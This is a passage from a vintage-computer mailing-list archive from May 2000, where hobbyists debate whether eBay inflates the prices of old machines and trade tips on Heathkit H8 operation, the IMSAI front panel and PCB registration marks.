and booting? > > Anyway I think it's funny how opposite the viewpoints are here. On the > one hand there are people who appear to believe that the value of a machine > is approximately equal to the maximum that any sucker has *ever* paid for a > similar machine. Meanwhile, the rest of us say "hey I got five of those > for free, working and with docs/software, therefore yours is worthless too". > Neither one is quite accurate... > The buyers ("demand") will always dictate value. If no one wanted old computers they would be worthless (in a $$$ sense). Regards, John. P.S. I am moving today so if anyone needs to get a hold of me please wait until Monday - my DSL will be down. From jfoust at threedee.com Wed May 10 07:49:49 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <4.3.0.20000510074434.022c3410@pc> At 06:04 PM 5/9/00 -0700, you wrote: >This makes no sense. eBay prices as a rule are always much more than once >can expect to find in the "real world". On one hand people think the Net is everything, on the other some people want to declare sections of it to be out of this world. >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). It makes just as much sense to claim that classic computer prices were artificially low. Price is set between buyer and seller. It will swing with the wind - as well as with the flow of information and an increase in perceived value or other forms of desirability. Prices would double again if Bill Gates announced he was snatching up classic computers to create a dozen museums of computing history around the country. I was reading an article the other day that talked about the author's son selling a rare Beanie Baby on eBay. Did you know that high-ticket Beanie sales are often arbitrated by a third-party expert who serves as an authenticator? They receive $30 for their service. This was for a $250 Beanie. - John From CLASSICCMP at trailing-edge.com Wed May 10 08:04:28 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay strategies (was Re: Ebay Altair) Message-ID: <000510090428.2020c13a@trailing-edge.com> John Wilson wrote: >I seriously think eBay is likely to trigger some kind of 12-step program >for auction junkies. Really, it's a bit like gambling, people get really >competitive sometimes and end up paying prices that have nothing to do with >anyone's concept of what the item is worth, just because they feel that they >need to win at any cost. Sure, that's the "auction fever" that E-bay has been so good at tapping into. There is one very simple rule to follow at any auction: know what you're willing to pay at the start, and never go over it. And it's actually easy, with E-bay's Proxy Bidding, to do this on E-bay by simply bidding your highest amount early on. No more worry about someone outbidding you by 'sniping' at the end! Of course, whenever I mention this strategy I get flamed horribly by "E-bay experts" at how awful it is. How they tried it once and got outbid by $1 and lost. Or how it drives up prices for all buyers. I don't agree, E-bay provides you with a powerful tool - proxy bidding - and you should use it to its full advantage. Getting caught up in the frenzy is the sure way to lose in the big picture (though you may "win" the auction), because you end up paying more than you wanted to. Tim. From bbrown at harper.cc.il.us Wed May 10 08:04:13 2000 From: bbrown at harper.cc.il.us (Bob Brown) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! / H8 In-Reply-To: <200005100431.VAA28632@eskimo.com> References: <200005100431.VAA28632@eskimo.com> Message-ID: > >Heath made a computer (the H-8) which is similar to the IMSAI but actually >does use a program to control the computer along with the usual hardware. >The H-8 is a lot newer than the IMSAI, however. > >-- Derek Any idea where I can get info on how to run an h8? I saved one from the garbage a while back, and it seems to function..at least it reacts to it's front panel, but I have no doc for it whatsoever. thanks. -Bob Bob Brown Saved by grace Intranet Sysadmin Page: http://info1.harper.cc.il.us/~bbrown From allisonp at world.std.com Wed May 10 09:01:05 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! / H8 In-Reply-To: Message-ID: On Wed, 10 May 2000, Bob Brown wrote: > > > >Heath made a computer (the H-8) which is similar to the IMSAI but actually > >does use a program to control the computer along with the usual hardware. > >The H-8 is a lot newer than the IMSAI, however. > > > >-- Derek > > Any idea where I can get info on how to run an h8? I saved one from the > garbage a while back, and it seems to function..at least it reacts to > it's front panel, but I have no doc for it whatsoever. The H8 is nothing like the IMSAI. The H8 runs a rom program to give teh disply/keypad some intelligence (not much). HAve you checked with HEATH (or whatever their name is this year)? If not check around as they were common enough and someone can copy the docs. Allison From richard at idcomm.com Wed May 10 09:21:23 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <4.3.0.20000509210045.00b03570@pacbell.net> Message-ID: <000d01bfba8b$05e9eba0$0400c0a8@winbook> This whole issue is subject to the old military saying, "Where you sit determines what you see." You see, eBay doesn't do anything at all to the prices. They don't care what the buy and sell prices are, except to the extent that it impacts their "cut" and that's quite small. If you want to sell your old micro/mini computer, eBay's a boon, because it puts your hardware in front of lots of people who actually want it, i.e. you don't have to beg, "Gee, can't you take this off my hands? I hate to toss it out." What's more, it benefits the hobby because the people who pay those higher prices are likely to keep them "alive" rather than tossing them. Additonally, the increased interest/activity promotes interest/activity in the classic computer arena. The higher prices motivate people to clean up and check out their antique computers from that dank corner in the basement and make them available to those who actually want them. I don't see where this activity hurts anyone except the cheapo who wants everything for free. Now, I'll admit that I'm inclined to be one of those guys who want things for free, but I realize that can't be the case all the time, simply based on how large the effort to rescue my own antique hardware, etc, from oblivion in the "pit" in the basement. The eBay phenomenon is not just a testament to the inane and impulsive nature of humankind, but also a testament to the benefit of greater communication as brought about by the exploitation of the technology that certainly is an outgrowth of the very computers we're trying to buy or sell. Dick ----- Original Message ----- From: Jim Battle To: Sent: Tuesday, May 09, 2000 10:12 PM Subject: Re: Ebay Altair > At 06:04 PM 5/9/00 -0700, Sellam wrote: > >... > >As I have always maintained in the past, eBay has done nothing but > >artifically inflate the prices for old computers to the detriment of this > >hobby (and others as well). > > > >Sellam > > I think it can be argued differently, especially the "nothing but" part. > > Think of how many people are now digging out old computers, or > getting them back into circulation instead of just scrapping them. The > prices might be up, but so is the supply. And, in time, some of the > people who bought some computer in a fit of nostalgia for too much > on ebay will get tired of their machine and probably put it back into > the market, especially if the paid real $$ for it. > > It is somewhat contradictory to have the position of wanting to preserve > old computers but at the same time wanting to return to the old days, > days when old machines were cheap but where most were trashed. > What better way to guarantee something will be preserved than to put > a value on it? > > So, what do you want? To preserve these wonder old machines, > or just have a lot of free/cheap playthings? > > And sorry, not just to pick on you Sellam, it is a question I have > thought about a lot myself. Whenever I get the itch to pick up > something on ebay or a swap meet, I try to really think if it is > something I can actually spend time with, or is it just another > butterfly in the butterfly collection. > > I like ebay. > > ----- > Jim Battle == frustum@pacbell.net > From bobstek at ix.netcom.com Wed May 10 09:48:28 2000 From: bobstek at ix.netcom.com (Bob Stek) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <000d01bfba8b$05e9eba0$0400c0a8@winbook> Message-ID: Though I don't usually join in discussions of eBay, I must say that Dick and Jim have summarized my thoughts as well. I, too, delight at finding some "treasure" for next-to-nothing, but as with life, that which we value (and consequently, price) ebbs and flows over time. eBay is a facilitator (and one which I wish I had thought of first!). Bob Stek Saver of Lost SOLs > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Richard Erlacher > Sent: Wednesday, May 10, 2000 10:21 AM > To: classiccmp@classiccmp.org > Subject: Re: Ebay Altair > > > This whole issue is subject to the old military saying, "Where you sit > determines what you see." You see, eBay doesn't do anything at all to the > prices. They don't care what the buy and sell prices are, except to the > extent that it impacts their "cut" and that's quite small. > > If you want to sell your old micro/mini computer, eBay's a boon, > because it > puts your hardware in front of lots of people who actually want > it, i.e. you > don't have to beg, "Gee, can't you take this off my hands? I hate to toss > it out." What's more, it benefits the hobby because the people who pay > those higher prices are likely to keep them "alive" rather than tossing > them. Additonally, the increased interest/activity promotes > interest/activity in the classic computer arena. The higher > prices motivate > people to clean up and check out their antique computers from that dank > corner in the basement and make them available to those who actually want > them. > > I don't see where this activity hurts anyone except the cheapo who wants > everything for free. Now, I'll admit that I'm inclined to be one of those > guys who want things for free, but I realize that can't be the > case all the > time, simply based on how large the effort to rescue my own antique > hardware, etc, from oblivion in the "pit" in the basement. > > The eBay phenomenon is not just a testament to the inane and impulsive > nature of humankind, but also a testament to the benefit of greater > communication as brought about by the exploitation of the technology that > certainly is an outgrowth of the very computers we're trying to > buy or sell. > > Dick > > ----- Original Message ----- > From: Jim Battle > To: > Sent: Tuesday, May 09, 2000 10:12 PM > Subject: Re: Ebay Altair > > > > At 06:04 PM 5/9/00 -0700, Sellam wrote: > > >... > > >As I have always maintained in the past, eBay has done nothing but > > >artifically inflate the prices for old computers to the > detriment of this > > >hobby (and others as well). > > > > > >Sellam > > > > I think it can be argued differently, especially the "nothing but" part. > > > > Think of how many people are now digging out old computers, or > > getting them back into circulation instead of just scrapping them. The > > prices might be up, but so is the supply. And, in time, some of the > > people who bought some computer in a fit of nostalgia for too much > > on ebay will get tired of their machine and probably put it back into > > the market, especially if the paid real $$ for it. > > > > It is somewhat contradictory to have the position of wanting to preserve > > old computers but at the same time wanting to return to the old days, > > days when old machines were cheap but where most were trashed. > > What better way to guarantee something will be preserved than to put > > a value on it? > > > > So, what do you want? To preserve these wonder old machines, > > or just have a lot of free/cheap playthings? > > > > And sorry, not just to pick on you Sellam, it is a question I have > > thought about a lot myself. Whenever I get the itch to pick up > > something on ebay or a swap meet, I try to really think if it is > > something I can actually spend time with, or is it just another > > butterfly in the butterfly collection. > > > > I like ebay. > > > > ----- > > Jim Battle == frustum@pacbell.net > > > From marvin at rain.org Wed May 10 10:15:10 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <4.3.0.20000509210045.00b03570@pacbell.net> <000d01bfba8b$05e9eba0$0400c0a8@winbook> Message-ID: <39197CFE.DC02C4CC@rain.org> Richard Erlacher wrote: > > I don't see where this activity hurts anyone except the cheapo who wants > everything for free. Now, I'll admit that I'm inclined to be one of those > guys who want things for free, but I realize that can't be the case all the > time, simply based on how large the effort to rescue my own antique > hardware, etc, from oblivion in the "pit" in the basement. > > The eBay phenomenon is not just a testament to the inane and impulsive > nature of humankind, but also a testament to the benefit of greater > communication as brought about by the exploitation of the technology that > certainly is an outgrowth of the very computers we're trying to buy or sell. Absolutely! I am one of those Cheapos who want everything for free (or very close.) But different strokes for different folks; some people would rather pay others to find/display/offer/auction items they are interested in. Myself, I would much rather search through a swap meet/flea market/garage sale/etc. near the end and find something everyone else didn't know about. Kind of like the Walkirt Binary Counter; picked it up out of the trash after everyone else had gone through the stuff. Yea!!! From dogas at leading.net Wed May 10 09:49:28 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:42 2005 Subject: Arem't all old computers now 'free' ? Message-ID: <000d01bfba8e$f3f05700$ca646464@dogclient01> It seems to me that now that there are eager 'markets' for old systems, any (most) purshases made are value protected by the fact that *someone* would probably buy 'it' off you for whatever you paid, if not more, whether the currency is soft or hard. I for one have felt alot more at ease buying, with limited resources, an old system that I wanted to play with, knowing that I can 'pass it on' after grokking it, and recoup any (sometimes lots of) money and effort sunk into a machine. That equates to most machines being 'free' (ok, or investments too) while you play with them. The kink here is the cost of my 'permanent' possessions.' Personally, I [too] wish there was a trading network strategy for this lists members (I have tonnes of stuff for trade.) But that seems to work only in the 'real world.' Joe in Orelando and I activelly 'swap' alot of gear.... Anyway, cheers... - Mike: dogas@leading.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000510/edd4b53d/attachment-0001.html From RCini at congressfinancial.com Wed May 10 10:16:13 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:42 2005 Subject: Bitmaps - PCB registration Message-ID: <497A9E0467D2D2119B760090271EB8E50E90E8@MAIL10> Hello, all: I'm continuing work on My6502 SBC, working towards producing a working PCB. I wanted to put registration marks on the artwork, but EDWin CAD does not appear to have built-in registration mark graphics. I did a search for electronics clipart, but the 11 sites had nothing useful. Does anyone have any useful registration bitmaps they can send me? Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From dogas at leading.net Wed May 10 09:55:29 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:42 2005 Subject: COSMAC 1802 Simulator Message-ID: <002401bfba8f$cadc7b40$ca646464@dogclient01> >OK - I finally got my simulator going with Tiny >Basic (what a nightmare). If put together a package >with the source, sample programs, and docs: > >www.ndx.net/cosmac > Good job Kirk! I've been a little busy these last few days, but I've started playing around it and will feedback shortly. ;) - Mike: dogas@leading.net From foo at siconic.com Wed May 10 09:38:41 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: Message-ID: On Tue, 9 May 2000, Mike Ford wrote: > >On Wed, 10 May 2000, John Wilson wrote: > > > >> I *love* the idea of someone selling new S100 machines in this day and age! > > > >Actually it's unprecedented. As far as I know this is the first example > >of a company coming out of hibernation (according to Todd IMSAI never > >really ceased to exist) and offering a new model of an obsoleted > >computer product line. > > > >If there are any other examples of this I'd like to hear about them. > > MacIntosh MC275 tube amplifier rereleased a few years ago in a limited run > of about 5000. > > Western Electric going back into production of the 300B tube. > > Neumann I think also did a U67 again. Hmmm, perhaps I should've said "COMPUTER company". Radios don't count in a classic computer discussion ;) Sellam From foo at siconic.com Wed May 10 09:48:07 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <20000510043148.A11225@dbit.dbit.com> Message-ID: On Wed, 10 May 2000, John Wilson wrote: > I seriously think eBay is likely to trigger some kind of 12-step program > for auction junkies. Really, it's a bit like gambling, people get really > competitive sometimes and end up paying prices that have nothing to do with > anyone's concept of what the item is worth, just because they feel that they > need to win at any cost. So I think these ridiculous prices for old computer > junk are more of an indicator of the buyers' compulsions, than anything to > do with the real value of the merchandise. A point well worth quoting. This is exactly what I have said in the past and it is correct. eBay is a sickness. Those who continue to defend the prices paid for items bought from eBay are only trying to justify in their own minds the fact that they are spending way too much money on things they really should not be. Of course I will be attacked for saying all this, but then addicts do get bolshie when confronted with the reality of the situation. :) Sellam From jpl15 at netcom.com Wed May 10 10:53:08 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:52:42 2005 Subject: OT: Paging Phillip Belben Message-ID: Phillip please drop me a line off-list, thanks. Cheers John From richard at idcomm.com Wed May 10 10:41:07 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:42 2005 Subject: Bitmaps - PCB registration References: <497A9E0467D2D2119B760090271EB8E50E90E8@MAIL10> Message-ID: <006701bfba96$7134a700$0400c0a8@winbook> The packages I've used (2 versons of OrCAD and EAGLE) seem not only to provide registration targets, but certainly provide sufficient utility to build such a symbol if it didn't already exist. Have you considered making your own registration target? If you do build it, be certain it's different from one side of each layer to the other. If you include a bit of text, i.e. a layer identifier in your registration target, that will help quite a bit. You may also want such an identifier separate from the target, so you can be certain all the layers are present when you look at a registered set of layer overlays. It must be obvious which is which, however, as it's easy to reverse a layer if you have both reversed text and "right-way-around" text in the copper. Dick ----- Original Message ----- From: Cini, Richard To: 'ClassCompList' Sent: Wednesday, May 10, 2000 9:16 AM Subject: Bitmaps - PCB registration > Hello, all: > > I'm continuing work on My6502 SBC, working towards producing a > working PCB. I wanted to put registration marks on the artwork, but EDWin > CAD does not appear to have built-in registration mark graphics. > > I did a search for electronics clipart, but the 11 sites had nothing > useful. > > Does anyone have any useful registration bitmaps they can send me? > > Rich > > ========================== > Richard A. Cini, Jr. > Congress Financial Corporation > 1133 Avenue of the Americas > 30th Floor > New York, NY 10036 > (212) 545-4402 > (212) 840-6259 (facsimile) > From aw288 at osfn.org Wed May 10 11:02:11 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <001301bfba86$08209400$fd83fea9@office> Message-ID: > I am surprised at your logic William - > *Most* Museums aquire *very* expensive items for free... and the value of > those items don't drop in half because of it. I know someone who bought a > Group of 7 painting last month for 50 cents. Should they divide the > $35,000US value of the painting in half now? Most meseums (except a few types, like art museums) will not buy anything unless really pressured to. It is in the standard museum Code of Ethics, and is designed to cut down on individuals trying to get rich off selling rare pieces at the expense of the museums (and ultimately the public). > BTW: The KL10 sent to RCS was > not running was it?, and a year later now (or more), is *still* not running. Gee, I hope you try and start a real public museum. Maybe you will see just how much work there is even before the artifacts can be touched. At the open houses and work sessions, maybe we can squeeze some time to work on a machine between a serious electrical upgrade, bookkeeping, getting bylaws sorted out, incorporation, dealing with donors, dealing with the IRS, talking to the public, accessioning, deaccessioning, inventorying the collection, buying shelving and pallet racking, dealing with the landlord, and about a hundred other tasks. Maybe you ought to lean on the Computer History Center for not getting lots of machines running, as well. I am sure they would appreciate it as well. Bother the Smithsonian Institution, too. > KS10s are &^& (can't use that word here). I don't have a *single* order for > one - and never will. Hmmm...why do so many people want them or have them then? > Vaporware? Think I've done pretty good. The IBM/360 was crushed as my offer > was not high enough - Union Carbide, Welland, Ontario. Kevin Stumpf was > going partners on it. > > Which KL-10 do you think I am getting? It *is* running software now! Will be > emulated through June. I figured it was the one Kevin Stumpf has. If it is not, and it is indeed running, then I stand corrected. Your still in for a "treat", however. > PDP-1 very high possibility. KA-10 - I have already had one, passed on > another for $300 from Beverly Surplus *before* they were worth anything. When you have secured any of these treasures, then you can make all the noise you want. For example, well done on getting that huge pile of DEC gear a little bit ago. If you have not secured the machines, don't talk. Simple as that. If I boasted about themachines I had serious leads on at once, I could say I was getting a PDP-5, Bendix G-15, CDC 8900, Cyber 1000, Cray-1, ETA Piper, TMC CM-2, PDP-11/70, IBM S/360, Interdata 7/32, and a number IBM tube machines*. It is just the same for the radio and radar stuff I search for. I could even "take orders". > I am finding most of these old kinds of computers (like the original > PDP-11s) through leads and engineers. I am told where they are - it's all a > matter of beating them to the crusher. Of course. In a matter of hours I am off to Buffalo to beat things to the crusher. > Funny William, I won't waste my time responding to your last comments > but.... I am finding most of these minicomputers in the United States, *not* > Canada. ???? [*] A recent lead - the funny thing is that the pile of old IBM tube mainframes were actually 2 inch Quad Ampex video machines (which are actually quite rare as well). William Donzelli aw288@osfn.org From wilson at dbit.dbit.com Wed May 10 11:10:39 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <002301bfba8c$00de0000$fd83fea9@office>; from dylanb@sympatico.ca on Wed, May 10, 2000 at 10:28:25AM -0400 References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> Message-ID: <20000510121039.A12407@dbit.dbit.com> On Wed, May 10, 2000 at 10:28:25AM -0400, johnb wrote: > The buyers ("demand") will always dictate value. If no one wanted old > computers they would be worthless (in a $$$ sense). That was exactly my point. RCS/RI's KL10 was one that was rescued from a whole warehouse full of 36-bit stuff that got scrapped because the owner was unable to find anyone, anywhere, who would take the stuff, even for free. And most of it had been deinstalled 100% working (unfortunately it turned out that the FE on the one I got had been raided for parts, but on the plus side I got a complete set of spare KL10 CPU boards, and it's not like 11/40 parts are particularly rare). No one wanted the machines then, and generally speaking no one wants them now. If you've managed to separate a few rich kids from the herd, great, but the fact remains that among people who are well-informed about 36-bit machines, there has been much more supply than demand, for the last decade at least. Anyone who pays significantly more than the scrap value, is not looking hard enough. John Wilson D Bit From aw288 at osfn.org Wed May 10 11:15:11 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <20000510121039.A12407@dbit.dbit.com> Message-ID: > Anyone who pays significantly more than the scrap value, is not looking > hard enough. Bingo! William Donzelli aw288@osfn.org From elvey at hal.com Wed May 10 11:18:07 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: Message-ID: <200005101618.JAA26403@civic.hal.com> allisonp@world.std.com wrote: > On Tue, 9 May 2000, Ron Hudson wrote: > > > Does anyone still sell s100 based computers? > > Aren't they used still for process controll and automation? > > Effectively not for many years. > > > 2nd question > > How did the control panel of the IMSAI work, was it controlled by a rom > program > > that lit the leds and read the switches? > > There was no rom in the base imsai. The frontpannel was all hardware and > worked by inserting wait states in the instruction flow effectively > stopping the micoprocessor at every cycle. Hi This wasn't the only clever part. They also jammed instructions into the 8080 to do fetches and stores. All they used were a number of one shots, some glue logic and 3state buffers. The first time I looked at how they did it, I was impressed. I don't know if it was an original idea but it was clever. Dwight From pat at transarc.ibm.com Wed May 10 11:18:42 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! / H8 In-Reply-To: Message-ID: On Wed, 10 May 2000, Bob Brown wrote: > > > >Heath made a computer (the H-8) which is similar to the IMSAI but actually > >does use a program to control the computer along with the usual hardware. > >The H-8 is a lot newer than the IMSAI, however. > > > >-- Derek > > Any idea where I can get info on how to run an h8? I saved one from the > garbage a while back, and it seems to function..at least it reacts to > it's front panel, but I have no doc for it whatsoever. At the very least, I believe that you can boot from disk by starting at location 040000. I used to wander up to the local Heathkit store every weekend to play with the H8, H11a (LSI-11 based machine running a variant of RT-11), and the H89 - essentially a Z80 processor board and a 5.25" disk drive built into an H19 terminal - I'd actually really love to have one of those, if anyone has one they don't want ... :-) Anyway, I was such a frequent visitor to that store that the manager gave me a couple of advertising posters for the machines - one was a poster that said "H8 POWER", above an illustration of the bootstrap address, as it would appear on the H8 display in red 7-segment LEDs; I'm almost positive that the display read "040000 Pc" .... The poster is still hanging on my old bedroom wall at my mother's house, unfortunately I can't get to it to look just at the moment .... --Pat. From marvin at rain.org Wed May 10 11:18:18 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: Message-ID: <39198BCA.3C40A46E@rain.org> foo wrote: > > eBay is a sickness. Those who continue to defend the prices paid for > items bought from eBay are only trying to justify in their own minds the > fact that they are spending way too much money on things they really > should not be. > > Of course I will be attacked for saying all this, but then addicts do get > bolshie when confronted with the reality of the situation. :) Anything ANYONE does can be called sick to others who have no interest nor understanding. Look at that group of crazy people who collect old computers ... must be a bunch of sickos :). From wilson at dbit.dbit.com Wed May 10 11:26:16 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay strategies (was Re: Ebay Altair) In-Reply-To: <000510090428.2020c13a@trailing-edge.com>; from CLASSICCMP@trailing-edge.com on Wed, May 10, 2000 at 09:04:28AM -0400 References: <000510090428.2020c13a@trailing-edge.com> Message-ID: <20000510122616.B12407@dbit.dbit.com> On Wed, May 10, 2000 at 09:04:28AM -0400, CLASSICCMP@trailing-edge.com wrote: > Of course, whenever I mention this strategy I get flamed horribly by > "E-bay experts" at how awful it is. How they tried it once and got outbid > by $1 and lost. Or how it drives up prices for all buyers. I know that logically it makes sense that the proxy bidding should totally avoid the ugly live auction stuff, but it does seem like all the action always seems to happen in the last 1/2 hour of the auction anyway. Which is exactly what proxy bidding is supposed to avoid... So I really get better results by waiting until the last second and jumping in then. I don't want to give other people time to talk themselves into raising their max. I really hate it when I make my max bid early, and it turns out that the existing high bidder's bid already covers it. So all I did was cost this poor guy money. And of course, bidding against someone who's familiar from the mailing lists is bad mojo!!! John Wilson D Bit From marvin at rain.org Wed May 10 11:22:07 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: <39198CAF.E7B46013@rain.org> John Wilson wrote: > > Anyone who pays significantly more than the scrap value, is not looking > hard enough. Absolutely! The other side of that coin though is some people are not interested in looking, and are therefore willing to pay someone else to do that. Why else would something like ebay be such a success? From dogas at leading.net Wed May 10 11:14:49 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair Message-ID: <007101bfba9a$dfb0d060$ca646464@dogclient01> From: Marvin >John Wilson wrote: >> >> Anyone who pays significantly more than the scrap value, is not looking >> hard enough. > >Absolutely! The other side of that coin though is some people are not >interested in looking, and are therefore willing to pay someone else to do >that. Why else would something like ebay be such a success? Because you'll find items there that you won't find no matter how much looking you do in your piss poor geographical vicinity. ;) - Mike: dogas@leading.net From elvey at hal.com Wed May 10 11:56:22 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <3918C534.9E0F50E5@roanoke.infi.net> Message-ID: <200005101656.JAA26901@civic.hal.com> Craig Smith wrote: > That was the first thing I looked for. The seller did in fact add to > the buyers feedback profile [with a "glowing" comment], which would seem > to indicate that the sale was indeed consummated. > And I thought 3-4K was a bit pricey! > Craig Hi I think everyone is avoiding the word "shill". On an item like this, it might pay to way over bid the item and buy it back. This sets a price in peoples minds as to how much they should pay for an item. Two months later, you put the same item up for bid with a different seller name. No one knows any different. If someone actually over bids your high price, let him have it. I do think that as Sellam has said, it makes it hard to find good deals on old machines. Still, I've bought a number of items at what I consider a fair price. I don't think I've under payed for anything and in a few cases, I have over payed. There have been items that may have been scrapped, if it were not for eBay. I think it is doing more to save old machines than those that are wherehousing them. Not that I have anything against that type of collection either. It is just that so much was ending up at the dump. The only thing I find disturbing about eBay is that 75% of the items are missing the documentation that they originally had. It is not just the machine that has value. The original manuals and schematics are part of the history. Much of the old software is being lost as well. Any thing that helps to keep these things alive is OK with me. I'd rather over pay a little than find the last 'what ever' at the dump after the crawler has run over it. At least if it is bought by someone on eBay, it has a chance of not being trashed. It has value to someone because it is obsolete. It won't get any less obsolete so it will continue to have value and be saved. IMHO Dwight From foo at siconic.com Wed May 10 10:59:35 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: <39198BCA.3C40A46E@rain.org> Message-ID: On Wed, 10 May 2000, Marvin wrote: > > eBay is a sickness. Those who continue to defend the prices paid for > > items bought from eBay are only trying to justify in their own minds the > > fact that they are spending way too much money on things they really > > should not be. > > > > Of course I will be attacked for saying all this, but then addicts do get > > bolshie when confronted with the reality of the situation. :) > > Anything ANYONE does can be called sick to others who have no interest nor > understanding. Look at that group of crazy people who collect old computers > ... must be a bunch of sickos :). The example I had in my head when I wrote that was me. It's a lot different when you can look critically at yourself and realize there's a problem. How many others have done so? From KB9VU at aol.com Wed May 10 12:00:17 2000 From: KB9VU at aol.com (KB9VU@aol.com) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! / H8 Message-ID: In a message dated 5/10/00 11:25:42 Central Daylight Time, pat@transarc.ibm.com writes: > > > > > >Heath made a computer (the H-8) which is similar to the IMSAI but > actually > > >does use a program to control the computer along with the usual hardware. > > >The H-8 is a lot newer than the IMSAI, however. > > > > > >-- Derek > > > > Any idea where I can get info on how to run an h8? I saved one from the > > garbage a while back, and it seems to function..at least it reacts to > > it's front panel, but I have no doc for it whatsoever. > I used to wander up to the local Heathkit store every weekend to play with > the H8, H11a (LSI-11 based machine running a variant of RT-11), and the > H89 - essentially a Z80 processor board and a 5.25" disk drive built into > an H19 terminal - I'd actually really love to have one of those, if anyone > has one they don't want ... :-) > > Anyway, I was such a frequent visitor to that store that the manager gave > me a couple of advertising posters for the machines - one was a poster > that said "H8 POWER", above an illustration of the bootstrap address, as > it would appear on the H8 display in red 7-segment LEDs; I'm almost > positive that the display read "040000 Pc" .... The poster is still > hanging on my old bedroom wall at my mother's house, unfortunately I can't > get to it to look just at the moment .... > > --Pat. I have two complete operating H8 machines and complete documentation. One id stock Heathkit with the gold pin MB. The other is a Trionix equipped unit with dual fans, modified power supply and an operating 8086 CPU board. Runs CP/M-86 from hard sector disks at a screaming 2 MHz. If someone needs a copy of the operating instructions for the H8, I'll see if I can get it for them for the cost of copies and postage. Can't be in a hurry though as I travel almost 100% of the time and copies will be done at the local Office Max when I have a spare hour or so. The H8 used a 50 pin buss designed by Heathkit. The boot loader could be initiated from the front panel and used a cassette tape or any of several disk drives depending on the controllers installed. AAMF, programs could be keyed into the front panel in Octal and executed from the panel without the use of an external device. Kind of fun watching the display as the program executed. I also have two working H/Z-89's left after today. Planning on keeping them, however. I just finished selling/giving away 8 complete H/Z-89's. (Sorry Pat) I do still have a small supply of spare parts and boards for the H8 and H89 if someone is in a bind. Also have complete documentation on the H/Z-88/89/90 series of computers. Mike Stover, KB9VU Florissant, MO CCA# 404 CRA# 77 USAF MARS AFA3BO From RCini at congressfinancial.com Wed May 10 12:03:20 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:42 2005 Subject: Bitmaps - PCB registration Message-ID: <497A9E0467D2D2119B760090271EB8E50E90E9@MAIL10> Dick: EDWin has the ability to build components and symbols. It also has the ability to embed a BMP file. So, I was hoping that someone had a registration mark in a popular graphics format for me to embed without having to go through the trouble of building a symbol. I have a copyright legend in the component side copper and "component side" text in the silk screen. Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) -----Original Message----- From: Richard Erlacher [mailto:richard@idcomm.com] Sent: Wednesday, May 10, 2000 11:41 AM To: classiccmp@classiccmp.org Subject: Re: Bitmaps - PCB registration The packages I've used (2 versons of OrCAD and EAGLE) seem not only to provide registration targets, but certainly provide sufficient utility to build such a symbol if it didn't already exist. Have you considered making your own registration target? If you do build it, be certain it's different from one side of each layer to the other. If you include a bit of text, i.e. a layer identifier in your registration target, that will help quite a bit. You may also want such an identifier separate from the target, so you can be certain all the layers are present when you look at a registered set of layer overlays. It must be obvious which is which, however, as it's easy to reverse a layer if you have both reversed text and "right-way-around" text in the copper. Dick ----- Original Message ----- 